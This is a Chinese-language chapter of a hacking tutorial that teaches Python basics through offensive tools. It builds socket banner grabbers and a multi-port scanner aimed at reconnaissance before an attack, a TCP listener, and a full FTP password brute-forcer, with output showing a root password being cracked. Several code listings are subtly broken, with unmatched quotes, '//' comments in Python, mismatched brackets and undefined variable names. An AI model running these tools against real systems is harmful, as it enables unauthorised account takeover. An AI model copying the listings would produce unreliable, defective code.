黑客的 PYTHON 脚本基础
PYTHON SCRIPTING BASICS FOR HACKERS
基本的脚本编程能力对于黑客来说是十分必要的。如果没有学习基本的脚本编程技能,一个只会用别人开发的工具的新手黑客会被骂成脚本小子。这意味着你只能使用别人开发的工具,这降低了你成功的可能性,并且增加了你被反病毒软件、入侵检测系统和执法部门检测到的可能性。如果你有脚本编程技能,你可以将你的黑客水平提升一个层次!
在第 8 章节,我们讲述了 bash 脚本基础和编写一些基本脚本,包括 MySQLScanner.sh,这是用来寻找运行常见的 MySQL 数据库的系统。在这一章节,我们会讲述被黑客使用最广泛的脚本语言:Python。很多最受欢迎的黑客工具是用 Python 编写的,包括 sqlmap,scapy,Social-Engineer Toolkit(SET),w3af,等。
Python 有一些重要的功能,这使它特别适合黑客行为,但是最重要的是它有一个种类繁多的库(可以被从外部导入和重复使用的预编译代码模块)它提供了一些强大的功能。Python 包括超过 1000 多内置模块,其他代码仓库里还有更多。
开发黑客工具也可以使用其他编程语言,例如 bash,Perl 和 Ruby,但是 Python 的模块让开发这些工具变得特别简单。
添加 PYTHON 模块
安装 Python 时,还要安装一组标准库和模块,这些库和模块提供广泛的功能,包括内置数据类型,异常处理,数字和数学模块,文件处理,加密服务,网络数据处理以及与 Internet 的交互协议(IP)。
先不提标准库和模块提供的强大功能,你可能需要或想要额外的第三方模块。Python 的第三方模块多种多样,并且可能是多数黑客选择使用 Python 编写脚本的原因。你可以在 PyPI (the Python Package Index, 图 171) http://www.pypi.org/里找到全面的第三方模块列表。
图 17-1:Python 包索引
使用 pip
Python 有一个专门用于安装和管理 Python 包的包管理软件叫 pip (Pip Installs Packages)。由于我们在这使用 Python 3,你需要 Python 3 的 pip 来下载和安装包。你可以从 Kali 源上下载 pip,输入这条命令:
kali \>apt-get install python3-pip
现在,为了供 PyPI 上下载模块,你只需要输入这个:
kali \>pip3 install \<package name\>
当你下载这些包的时候,他们会被自动放在/usr/local//lib/\/distpackages 目录。所以,举个例子,如果你使用 pip 安装来 Python3.6 的 SNMP 协议,你可以在/usr/local/lib/python3.6/pysnmp 中找到它。如果你不清楚包被放在系统的什么位置(有事不同的 Linux 发行版使用不同的目录),你可以输入 pip3 后面跟上 show 和包的名字, 如下所示:
kali \>pip3 show
pysnmp Name: pysnmp
Version: 4.4.4
Summary: SNMP library for Python
Homepage:
https://github.com/etingof/pysnmp Author:
Ilya Etingof \<etingof\@gmail.com\>
Authoremail: etingof\@gmail.com
License: BSD
Location: usr/local/lib/python3.6/distpackages
Requires: ptsmi, pyansl, pycryptodomex
你可以看到这给了你很多关于包的信息,包括包所在的目录。
作为使用 pip 的替代,你可以直接从网站上下载包(注意要下载到合适的目录),解压它(如果解压软件参见第九章),然后运行下面的命令:
kali \>python setup.py install
这会安装任何已解压但是没安装的包。
安装第三方模块
要想安装其他 Python 社区成员开发的第三方模块(和官方发布的 Python 包相反),你可以简单地用 wget 从储存它的网站上下载它,解压模组,然后运行 python setup.py install 命令。
作为示范,让我们从网站https://xael.org下载和安装我们在第八章使用过的端口扫描工具,nmap,的Python模组。
首先,我们需要从 xael.org 下载模块。
kali \>wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz
20141228 17:48:32
http://xael.org/norman/python/pythonnmap/pythonnmap 0.3.4.tar.gz
Resolving xael.org (xael.org)...194.36.166.10
Connecting to xael.org (xael.org)\|194.36.166.10\|:80...connected.
snip
20182128 17.48:34 (113 KB/s) 'pythonnmap0.3.4.tar.gz' saved [40307/40307]
你可以看到我们使用 wget 命令和整个 URL 下载包。当包被下载好后,你需要用 tar 命令解压它,就像你在第九章学到的那样:
kali \>tar -xzf python-nmap-0.3.4.tar.gz
然后进入新的目录:
kali \>cd python-nmap-.03.4/
最后,在那个目录,使用下面的命令安装新的模块:
kali \>\~/python-nmap-0.3.4 \>python setup.py install
running install running build
running build_py creating build
snip
running install_egg_info
writing /usr/local/lib/python2.7/distpackages/python_nmap0.3.4.egg.info
其他无数的模块也可以使用这个方法。当你安装了这个 nmap 模块后,你可以通过导入模块在你的 Python 脚本中使用它。这个之后再说,现在让我们开始编写一些脚本。
开始使用Python编写脚本
现在你知道了如何在 Python 中安装模块,我希望概况一些 Python 基本的概念和术语,然后是基本语法。在这之后,你将编写一些对黑客有用的脚本,希望这展示 Python 的强大。
就像 bash 或其他脚本一样,我们可以使用任何文本编辑器创建 Python 脚本。在本章,为了使事情变得简单,我建议你使用一个简单地文本编辑器,例如 Leafpad,但要知道 Python 有集成开发环境 IDE。一个 IDE 就像一个有内置功的文本编辑器,比如代码颜色,故障排除,和编译。Kali 内置 IDE PyCrust,不过还有很多 IDE 可以下载,最好的就是富有争议的 JetBrain 的 PyCharm。这是一个很好的 IDE,它有很多让学校 Python 变得更容易和快捷的增强功能。它有一个付费的专业版本和一个免费的社区版本。你可以在https://www.jetbrains.com/pycharm/找到它。
当你完成这一章时,如果你想继续学习 Python,PyCharm 将会是一个会在你开发时帮助你的绝佳工具。现在,为了让事情变得简单,我们将使用像 Leafpad 一样的基本文本编辑器。
注意学习任何编程语言会花费时间和大量精力。你需要在继续之前有耐心地掌握我提供的每一个小脚本。
变量
现在,开始讲一些更实用的 Python 概念。一个变量 is 是编程中最基本的数据形式,并且你在第八章 bash 脚本编程中遇到过它。简单来说,一个变量是一个名字关联着一个特定的值,当你在任何时间在程序里使用哪个名字,它会调用那个关联的值。
它的原理是变量名指向内存中的数据,它们可以包含任何种类的值,例如整数,实数,字符串,浮点数,布尔值(true 或 false),列表,或字典。我们将在本章节简要的概括这些。
为了熟悉基础,让我们用 Leafpad 创建一个简单地脚本,如代码清单 17-1,并保存为 hackersarise_greetings.py。
\#! /usr/bin/python3 name="OccupyTheWeb"
print ("Greetings to " + name + " from HackersArise. The Best Place to Learn
Hacking!")
清单 171: 你第一个 Python 程序
第一行就是告诉你的系统你希望它使用 Python 解释器运行这个程序,而不是其他任何语言。第二行定义了一个变量叫 name 并且给它赋值(在这里是"OccupyTheWeb"),你应该把这个值改成你自己的名字。这个变量的值是 string 数据格式,,意味着其内容需要被引号包起来,然后以处理文本的方式处理它。你也可以把数字放进字符串,然后它们也会被处理文本的方式处理,也就是说你不能在数字运算中使用它们。
第三行创建了一个 print()声明将 Greetings to 和 name 变量的值连起来,紧随其后的文本“from Hackers-Arise. The Best Place to Learn Hacking! ”,一个 print()声明将在屏幕上显示任何你放入其圆括号里的东西。
现在,在你开始运行脚本之前,你需要授权你执行它的权限。我们需要 chmod 命令完成这件事。(更多 Linux 权限相关信息参见第五章)
kali \>chmod 755 hackers-arise_greetings.py
就像你第 8 章对 bash 脚本所做的,要想运行你的脚本,在脚本名前加上句号和斜杠。由于安全原因你当前目录不在$PATH 变量中,所以我们需要在脚本名前加上./ 来告诉系统查看当前目录来找到文件并执行它。
输入下面的命令运行这个脚本:
kali \>./hackers-arise_greetings.py
Greetings to OccupyTheWeb from HackersArise. The Best Place to Learn Hacking!
在 Python 中,每个变量类型会被当成一个类。一个类是一种创建对象的模板。详情请查看《bjectOriented Programming (OOP)》第 92 页。在下面的脚本中,我展示了一些变量类型。变量可不只容纳字符串。清单清单 17-2 展示了一些含有不同变量类型的变量。
\#! /usr/bin/python3
HackersAriseStringVariable = "HackersArise Is the Best Place to Learn Hacking"
HackersAriseIntegerVariable = 12
HackersAriseFloatingPointVariable = 3.1415
HackersAriseList = [1,2,3,4,5,6]
HackersAriseDictionary = {'name' : 'OccupyTheWeb', 'value' : 27)
print (HackersAriseStringVariable)
print (HackersAriseIntegerVariable)
print (HackersAriseFloatingPointVariable)
清单 172: 一系列被变量关联的数据结构
这个脚本创建了五个含有不同数据结构的变量:一个字符串,被当作文本;一个整数,是没有小数,可以被用来进行数字运算的数字;一个浮点数,是一个有小数,可以被用来进行数字运算的数字;一个列表,是一系列存到一起的值;和一个字典,是一个无序的数据集,每个值对应一个键,意思是字典中的每个值有一个唯一的键。当你希望查询或更改一个键对应的值时,这就很方便。例如,比方说你有个叫 fruit_color 的字典,如下所示:
fruit_color = {'apple' : 'red', 'grape' : 'green', orange : 'orange'}
如果之后你希望获得 fruit_color 的 grape,你只需要使用他的键调用它:
print (fruit_color['grape'])
你也可以更改键对应的值,例如,我们在这更改 apple 的颜色:
fruit_color['apple'] : 'green'
我们将在之后讨论列表和字典。
使用任何文本编辑器创建脚本,保存为 secondpythonscript.py
,然后授予你执行的权限,像这样:
kali \>chmod 755 secondpythonscript.py
当你运行这个脚本时,它会打印字符串变量,整数变量和浮点数变量的值,像这样:
kali \>./secondpythonscript.py
HackersArise Is the Best Place to Learn Hacking 12
3.1415
![](media/dbe9da136b68e46a69a46917a5877cf1.png)
注释
与任何其他编程和脚本语言一样,Python 也可以添加注释。注释是代码的一部分—单词,句子甚至段落—用来解释代码作用。 Python 将识别代码中的注释并忽略它们。尽管不需要注释,但是当你两年后回到代码中并且不记得它应该做什么时,注释会非常有用。程序员经常使用注释来解释某个代码块是用来做什么的,或者解释选择特定方法背后的逻辑。
注释会被解释器忽略。这意味着任何注释行会被解释器跳过,直到遇到合法行。Python 使用#符号表示单行注释的开头。如果你想要编写多行注释,你可以在注释段的开头和结尾使用三个双引号(""")。
你可以看到下面的脚本,我已经在我们的 hackersarise_greetings.py 脚本中添加了简短的多行注释。
\#! /usr/bin/python3
// This is my first Python script with comments. Comments are used to help
// explain code to ourselves and fellow programmers. In this case,
// this simple script creates a greeting for the user.
name = "OccupyTheWeb"
print ("Greetings to "+name+" from HackersArise. The Best Place to Learn Hacking!")
当我们再次执行脚本时,与上次执行脚本相比没有任何变化,你可以看到:
kali \>./hackers-arise_greetings.py
Greetings to OccupyTheWeb from HackersArise. The Best Place to Learn Hacking!
它和清单 171 运行一模一样,但当我们之后回来看代码的时候,我们有了些关于我们脚本的信息。
函数
Python 中的函数是执行特定操作的代码。例如之前使用的 print()就是一个显示任何你给予的值的函数。python 有许多内置函数,您可以立即导入和使用。绝大多数函数存在于 Kali Linux 默认安装的 Python 中,尽管更多的函数可以从下载的库中获取。让我们来看一下可以使用的数千个函数中的几个:
- exit() 退出程序。
- float() 以浮点数的形式返回其参数。例如,float(1)将返回 1.0。
- help() 显示由其参数指定的对象的帮助。
- int() 返回其参数的整数部分(截断小数部分)
- len() 返回列表或字典中的元素数。
- max() 返回其参数(列表)的最大值。
- open() 以其参数指定的模式打开文件。
- range() 返回由其参数指定的两个值之间的整数列表。
- sorted() 将列表作为参数,并返回排好序的列表。
- type() 返回其参数的类型(例如 int、file、method、function)。
您也可以创建自己的函数来执行自定义任务。由于语言中已经内置了如此多的函数,所以在您自己构建函数之前,检查函数是否已经存在总是值得的。检查的方法有很多种,其中一个是查看https://docs.python.org的Python官方文档。选择你正在使用的版本选择任何参考库。
列表
许多编程语言使用数组存储多个独立对象。数组是一个值列表,可以通过引用数组中的特定值在列表中的位置(称为其索引)实现检索、删除、替换或处理这些值。
值得注意的是,与许多其他编程环境一样,python 从 0 开始计算索引,因此列表中的第一个元素是索引 0,第二个元素是索引 1,第三个元素是索引 2,依此类推。所以,如果我们想要获取第三个值,我们可以使用 array[2]。在 Python 中,几乎没有数组的实现,但最常见的实现可能是 lists。
python 中的列表是可迭代的,这意味着当你运行它时,列表可以提供连续的元素(请参见第 198 页)。这很有用,因为通常,当我们使用列表时,我们会查看它们以找到某个值,逐个打印出值,或者从一个列表中获取值并将其放入另一个列表中。我们可以通过调用列表的名称然后接方括号和我们想要获取元素的索引来访问和打印该元素。
所以,让我们想象我们需要显示列表 172 中列表 HackersAriseList 中的第四个元素。
要测试这个,请在脚本 secondpythonscript.py 底部添加以下行,以打印 HackersAriseList 索引 3 处的元素:
snip
print (HackersAriseStringVariable)
print (HackersAriseIntegerVariable)
print (HackersAriseFloatingPointVariable)
print (HackersAriseList[3])
当我们再次运行这个脚本时,我们可以看到新的 print 语句在其他输出下打印了 4:
kali \>./secondpythonscript.py
HackersArise Is the Best Place to Learn Hacking 12
3.1415
4
模块
模块是保存到单独文件中的一段代码,因此你可以在程序中根据需要多次使用它,而无需再次输入。如果你想要使用模块或模块中的任何代码,你需要 import 它。如前所述,使用标准和第三方模块是使 Python 对黑客如此强大的关键功能之一。如果要使用之前安装的 nmap 模块,我们将在脚本中添加以下行:
import nmap
在本章后面,我们将使用两个非常有用的模块:socket 和 ftplib。
面向对象编程(OOP)
在深入研究 Python 之前,可能需要花几分钟时间来讨论面向对象编程的概念(OOP)。Python 与当今大多数编程语言(C++、Java 和 Ruby)一样,遵循 OOP 模型。
图 172 展示了 OOP 背后的基本概念:编程语言的主要工具是对象,它具有属性和状态形式的属性,以及由对象执行或在对象上执行的操作的方法。
图 172: 面向对象编程
OOP 编程语言背后的思想是创建与现实世界中的事物类似的对象。例如,汽车是一个具有诸如轮子、颜色、大小和发动机类型等属性的对象;它也有一些方法,例如加速和锁门,这些方法就是汽车所采取的行动。从人类的自然语言来看,对象是名词,属性是形容词,方法一般是动词。
对象是类的成员,类基本上是用于创建具有共享初始变量、属性和方法的对象的模板。例如,假设我们有一个叫 car 的类;我们的车(宝马)将成为 car 类的一员。该类还包括其他对象/汽车,如奔驰和奥迪,如图 173 所示。
图 173: OOP 类和对象
类也可以有子类。我们的 Car 类有一个 BMW 子类,该子类的对象可能是 320i。
每个对象都有属性(品牌、型号、年份和颜色)和方法(开始、驾驶和停车),如图 174 所示。
图 174: OOP 属性和方法
在 OOP 语言中,对象继承了类的特性,因此 BMW320i 将从 car 类继承启动、驱动和驻车方法。
这些 OOP 概念对于理解 Python 和其他 OOP 语言的工作方式至关重要,正如你将在下面的部分的脚本中看到的那样。
PYTHON 网络通信
在我们继续讨论更多的 python 概念之前,让我们先用您到目前为止学到的知识编写一些黑客脚本来处理网络连接。
建立 TCP 客户端
我们将使用套接字(socket)模块在 Python 中创建一个网络连接。我已经提到过 Python 附带了一个用于执行大量任务的模块库。在这种情况下,我们将需要 socket 模块来创建 TCP 连接。让我们看看它的实际效果。
看一下名为 HackersAriseSSHBannerGrab.py 的文本清单 17-3 中的脚本(我知道,这个名字很长,但请忍受)。banner 是当某人或某物连接到它时应用程序呈现的内容。它有点像发送问候语的应用程序,宣布它是什么。黑客使用一种称为banner 获取的技术来查找关于端口上运行的应用程序或服务的重要信息。
\#! /usr/bin/python3
➊ import socket
➋ s = socket.socket()
➌ s.connect(("192.168.1.101", 22))
➍ answer = s.recv(1024)
➎ print(answer)
清单 173: banner 获取 Python 脚本
首先,我们导入 socket 模块 ➊,以便使用它的功能和工具。这里,我们将使用 socket 模块中的网络工具来为我们处理通过网络连接的接口。Socket 为两个计算机节点提供了相互通信的方式。通常一个节点是服务端一个是客户端。
然后我们创建了一个新的变量 s ,然后将它和 socket 模块中的 socket 类关联 ➋。这样,每当我们想使用 socket 类时,就不必引用完整的 socket.socket()语法,只需使用 s 变量名即可。
然后,我们使用 socket 模块 ➌ 中的 connect()方法来建立到特定 IP 和端口的网络连接。记住,方法是可用于特定对象的函数,语法为 object.method(例如 socket.connect)。这里,我连接到 IP 地址 192.168.1.101,它是我网络上一台电脑的 IP 地址,22 端口是默认的 ssh 端口。您可以在 Linux 或 Kali 的另一个实例上对此进行测试。大多数 22 端口是默认打开。
一旦你建立了联系,就可以做很多事情。这里我们使用接收方法 recv 来接收来自 socket 的 1024 bytes 数据 ➍ 并且将他们储存到一个叫 answer 的变量里;这 1024 bytes 包含了 banner 信息。然后,我们用 print()函数将该变量的内容打印到屏幕上,以查看通过该 socket 传递的数据,从而允许我们监视它!在最后一行,我们关闭连接。
保存脚本到 HackersAriseSSHBannerGrab.py 然后使用 chmod 命令更改权限,这样你就可以执行它。
让我们运行这个脚本来连接到另一个 Linux 系统上的 22 号端口(你可能使用 Ubuntu 系统,甚至另一个 Kali 系统)。如果 ssh 在那个端口上运行,我们应该能够将 banner 读取到我们的 answer 变量中,并将它打印到屏幕上,如下所示:
kali \>./HackersAriseSSHBannerGrab.py
SSH2.0OpenSSH_7.3p1 Debian1
我们刚刚创建了一个简单的 banner 抓取 python 脚本!我们可以使用这个脚本来找出在 IP 地址和端口上运行的应用、版本和操作系统。这给了我们攻击系统前需要的关键信息。这的本质上就是 shodan.io 网站对地球上几乎每个 IP 地址所做的,它为我们把这些信息分类和建立索引。
创建 TCP 监听器
我们刚刚创建了一个 TCP 客户机,它可以连接到另一个 TCP/IP 地址和端口,然后监视正在传输的信息。socket 还可以用于创建 TCP 监听器,以监听从外部到服务器的连接。我们接下来尝试一下。
在清单列表 17-4 的 Python 脚本中,你将创建一个任意端口的 socket,当别人连接这个 socket 时,收集连接者系统的关键信息。输入脚本并保存为 tcp_server.py。确保使用 chmod 授予你自己执行权限。
\#!/usr/bin/python3 import socket
➊ TCP_IP = "192.168.181.190" TCP_PORT = 6996
BUFFER_SIZE = 100
➋ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
➌ s.bind((TCP_IP, TCP_PORT))
➍ s.listen (1)
➎ conn,addr = s.accept()
print ('Connection address: ', addr )
while 1:
data=conn.recv(BUFFER_SIZE)
if not data:break
print ("Received data: ", data)
conn.send(data) \#echo
conn.close
清单 174: TCP 监听 Python 脚本
我们声明希望脚本使用 Python 解释器运行,然后像以前一样导入套接字模块,这样我们就可以使用它的功能。然后,我们定义变量来保存 TCP/IP 地址、要监听的端口以及要从连接系统捕获的数据的缓冲区大小的信息 ➊。
我们定义了 socket ➋,并使用刚才创建的变量将 socket 绑定到 IP 地址和端口 ➌。我们告诉 socket 使用 socket 库 ➍ 中的 listen()方法进行侦听。
然后,我们使用 socket 库的 accept 方法捕获连接系统的 IP 地址和端口,并将这些信息打印到屏幕上,以便用户可以看到它 ➎。注意这里的 while 1:语法;我们将在本章后面更详细地讨论它,但现在只需知道它用于无限循环运行它下面缩进的代码,这意味着 python 会一直检查数据,直到程序停止。
最后,我们将来自连接系统的信息放入缓冲区,打印出来,然后关闭连接。
现在,转到网络上的另一台计算机,使用浏览器连接到脚本中指定的 6996 端口。运行 tcp_server.py 脚本,你应该能够连接和收集有关那个系统的关键信息,包括连接系统的 IP 地址和端口,如下所示:
kali \>./tcp_server.py
Connection Address: ('192.168.181.190', 45368) Received data: Get /HTTP/1.1
Host:192.168.181.190:6996
User Agent:Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gec
snip
这是黑客在决定攻击前收集的关键信息。漏洞攻击(或黑客攻击)是针对特定的操作系统、应用程序,甚至是正在使用的语言,因此黑客需要在继续操作之前尽可能了解有关目标的信息。在黑客攻击之前收集信息的行为通常被称为侦察。你刚刚开发了一个工具,可以收集潜在目标的关键侦察信息,非常类似于流行的黑客工具 p0f!
字典,循环,和控制语句
让我们继续扩展你对 python 的理解,然后使用所学的一切来为 ftp 服务器构建密码破解程序。
字典
字典以乱序对的形式保存信息,其中每对键值都包含一个键和一个关联的值。我们可以使用字典来存储事物列表,并给每个事物一个标签,这样我们就可以单独使用和引用该事物。例如,我们可以使用字典来存储用户 ID 及其关联名字,或者存储与特定主机关联的已知漏洞。Python 中的字典在其他语言中的作用类似于关联数组。
与列表一样,字典也是可迭代的,这意味着我们可以使用一个控制结构,例如 for 语句遍历整个字典,将字典的每个元素赋给一个变量,直到字典结束。
除其他事情外,你可以使用此结构构建密码破解器,遍历存储在字典中的每个密码,直到某个密码生效或破解器到达字典末尾。
创建字典的语法如下:
dict = {key1:value1, key2:value2, key3:value3...}
值得注意的是,对于字典,使用大括号和逗号分隔项。你可以包括任意数量的键值对。
控制语句
控制语句允许你的代码根据某些条件做出决策。在 Python 中有许多方法可以控制脚本的流程。
让我们看看 Python 中的这些结构。
If 语句
与许多其他编程语言(包括 bash)一样,python 中的 if 结构用于检查条件是否为真,并为每个场景运行不同的代码集。语法如下:
if conditional expression
run this code if the expression is true
if 语句包含的条件可能类似于 if variable\<10,例如。如果满足条件,则表达式的结果为 true,然后执行后面的代码(称为控制块)。如果语句的结果为 false,则将跳过控制块中的语句,而不执行这些语句。
在 python 中,控制块必须缩进。这个缩进向解释器标识控制块。下一条未缩进的语句将会在控制块之外,因此不是 if 语句的一部分,这就是 python 知道如果条件不满足,跳到哪里的方法。
if...else
python 中的 if…else 结构如下:
if conditional expression
\*\*\* \# run this code when the condition is met
else
\*\*\* \# run this code when the condition is not met
和前面一样,首先解释器检查 if 表达式中的条件。如果结果为 true,解释器将执行控制块中的语句。如果条件语句的结果为 false,则执行 else 语句后面的控制块。
例如,这里有一个用于检查用户 ID 的值的代码片段,如果它是 0(Linux 中的 root 用户始终是 uid 0),则我们打印消息“You are the root user.”否则,如果它是任何其他值,则我们打印消息“You are NOTthe root user.”。
if userid == 0
print ("You are the root user") else
print ("You are NOT the root user")
循环
循环是 Python 中另一个非常有用的结构。循环允许程序员根据值或条件多次重复代码块。两个最广泛使用的是 while 和 for 循环。
While 循环
while 循环计算布尔表达式(结果为 true 或 false 的表达式),并在表达式计算为 true 时继续执行。例如,我们可以创建一个代码片段,打印 1 到 10 之间的每个数字,然后退出循环,如下所示:
count = 1
while (count \<= 10):
print (count)
count += 1
然后,只要条件为真,缩进的控制块就一直运行。
For 循环
for 循环可以每次通过循环将列表、字符串、字典或其他可迭代结构中的值赋给变量,从而允许我们一个接一个地使用结构中的每个项。例如,我们可以使用 for 循环尝试密码,直到找到匹配项,如:
for password in passwords:
attempt = connect (username, password)
if attempt == "230"
print ("Password found: " + password)
sys.exit (0)
在这段代码片段中,我们创建了一个 for 语句,该语句将遍历我们提供的密码列表,并尝试使用用户名和密码进行连接。如果连接尝试接收到 230 代码,即成功连接的代码,程序将打印“Password found:”,然后打印密码,然后退出。如果它没有得到 230,它将继续通过每个剩余的密码,直到它收到 230 或直到它遍历完密码列表。
改进我们的黑客脚本
现在,有了 Python 循环结构和条件语句有关的背景知识,让我们回到我们的 banner 抓取脚本,并添加一些功能。
我们将添加一个要获取 banner 的端口列表,而不仅仅是监听一个端口,然后使用 for 语句遍历该列表。通过这种方式,我们可以搜索和抓取多个端口的 banner,并将它们显示在屏幕上。
首先,让我们创建一个列表并在其中添加其他端口。打开 HackersAriseSSHBannerGrab.py,我们将从那开始。清单列表 175 展示了完整的代码。请注意,灰色行和之前一样,黑色行是你需要更改或添加的行。我们将尝试获取端口 21(ftp)、22(ssh)、25(smtp)和 3306(mysql)的 banners。
\#! /usr/bin/python3 import socket
➊ Ports = [21,22,25,3306]
➋ for i in range (0,4): s = socket.socket()
➌ Ports = Port[i]
print ('This Is the Banner for the Port')
print (Ports)
➍ s.connect (("192.168.1.101", Port))
answer = s.recv (1024)
print (answer)
s.close ()
清单 175: 改进 banner 抓取
我们创建一个名为 Ports ➊ 的列表,并添加四个元素,每个元素表示一个端口。然后我们创建一个 for 语句,该语句在该列表中迭代四次,因为它有四个项 ➋。
记住,当使用 for 循环时,与循环关联的代码必须缩进到 for 语句下面。
我们需要修改程序,以反映在每次迭代过程中使用列表中的变量。为此,我们创建一个名为 port 的变量,并在每次迭代 ➌ 时将列表中的值分配给它。然后我们在连接中使用这个变量 ➍。
当解释器到达该语句时,它将尝试连接到 IP 地址下分配给变量的任何端口。
现在,如果你在一个系统上运行这个脚本,并且所有列出的端口都已打开并启用,那么您应该会看到类似于清单 176。
kali \>./HackersArisePortBannerGrab.py This is the Banner for the Port 21
220 (vsFTPd 2.3.4)
This Is the Banner for the Port 22
SSH2.0OpenSSH_4.7p1 Debian8ubuntu1
This Is the Banner for the Port 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
This Is the Banner for the Port 3306
5.0.51 a3ubuntu5
清单清单 176:端口 banner 抓取的输出
注意,脚本发现 21 号端口在运行 vsftpd 2.3.4,22 号端口在运行 openssh 4.7,25 号端口在运行 postfix 时打开,3306 号端口在运行 mysql 5.0.51a。
我们刚刚成功地在 python 中构建了一个多端口的 banner 抓取工具,用于对目标系统执行侦察。该工具告诉我们哪个服务正在哪个端口上运行,以及该服务的版本!这是黑客在进行攻击前需要的关键信息。
异常和密码破解
你编写的任何代码都有出错或异常的风险。在编程术语中,异常是任何破坏代码正常流程的东西,通常是由错误的代码或输入引起的错误。为了处理可能的错误,我们使用异常处理,它是处理特定问题的代码,显示错误消息,甚至使用异常进行决策。在 Python 中,我们有 try/except 结构来处理这些错误或异常。
Try 会尝试执行一些代码,如果发生错误,except 语句将处理该错误。在某些情况下,我们可以使用 try/except 结构进行决策,类似于 if...else。例如,我们可以在密码破解程序中使用 try/except 来尝试密码,如果由于密码不匹配而发生错误,则使用 except 语句移动到下一个密码。我们现在试试看。
输入清单 17-7 中代码并保存为 ftpcracker.py,稍后我们将进行介绍。这个脚本要求用户输入 ftp 服务器号和要破解的 ftp 帐户的用户名。然后它读取一个包含可能密码列表的外部文本文件,并尝试每个密码来破解 ftp 帐户。脚本执行此操作直到成功或密码用完。
\#! /usr/bin/python3 import ftplib
➊ server = input(FTP Server: ")
➋ user = input("username: ")
➌ Passwordlist = input ("Path to Password List \> ")
➍ try:
with open(Passwordlist, 'r') as pw:
for word in pw:
➎ word = word.strip ('\\r').strip('\\n')
➏ try:
ftp = ftplib.FTP(server)
ftp.login(user, word)
➐ print (Success! The password is ' + word)
➑ except:
print('still trying...') except:
print ('Wordlist error')
清单列表 177: FTP Python 密码破解脚本
我们将使用 ftplib 模块中的工具来实现 FTP 协议,所以首先我们导入它。然后,我们创建一个名为 server 的变量和另一个名为 user 的变量,它将存储一些用户输入的命令。你的脚本将提示用户输入 FTP 服务器的 IP 地址 ➊ 和用户尝试进入的帐户的用户名 ➋。
然后我们询问用户密码列表 ➌ 的路径。通过在终端中输入 locate wordlist,您可以在 kali linux 中找到许多密码列表。
然后,我们开始 try 代码块,该代码将使用用户提供的密码列表来尝试破解用户提供的用户名的密码。
注意,我们使用了一个新的名为 strip()➎ 的 python 函数。此函数删除字符串的第一个和最后一个字符(在这里是密码列表)。如果此列表中的密码前面有空格或逗号,则需要执行此操作。strip()函数的作用是:删除这些字符,只留下潜在密码的字符串。如果我们不去除空白,我们可能会得到一个假阴性。
然后,我们使用第二个 try➏ 代码块。这里,我们首先使用 ftplib 模块连接到用户提供的 IP 地址的服务器,然后从该帐户的密码列表中尝试下一个密码。
如果用户名和密码的组合导致错误,则代码块退出并转到 except 子句 ➑,在该子句中打印 still trying,然后返回到 for 子句的顶部并从密码列表中获取下一个密码以尝试。
如果组合成功,成功的密码将会被打印到屏幕上 ➐。最后一行记录任何其他可能导致错误的情况。例如,如果用户输入程序无法处理的内容,例如单词表的路径错误或缺少单词表。
现在,让我们对 192.168.1.101 的 FTP 服务运行这个脚本,看看是否可以破解 root 用户的密码。我使用的是我工作目录中名为 bigpasswordlist.txt 的密码列表。如果密码列表不在你的工作目录中,您可能需要提供到所使用密码列表的完整路径(例如,/usr/share/bigpasswordlist.txt)。
kali \>./ftpcracker.py
FTP Server:192.168.1.101
username: root
Path to PasswordList \>bigpasswordlist.txt still
trying...
still trying...
still trying...
snip
Success! The password is toor
如你所见,ftpcracker.py
成功找到了 root 用户的密码,并把她展示到屏幕上。
总结
要想从脚本小子毕业,黑客必须掌握一种脚本语言,而 python 通常是良好首选,因为其通用性和相对较小的学习曲线。大多数黑客工具都是用 python 编写的,包括 sqlmap、scapy 和其他许多工具。在这里,你学习了一些可以用来构建一些简单但有用的黑客工具的 Python 基础知识,包括一个 banner 抓取器和一个 ftp 密码破解器。如果想要学习更多 Python 知识,我强烈推荐由 Al Sweigart 编写的 No Starch Press 出版社的优秀书籍《Automate the Boring Stuff with Python (2015)》。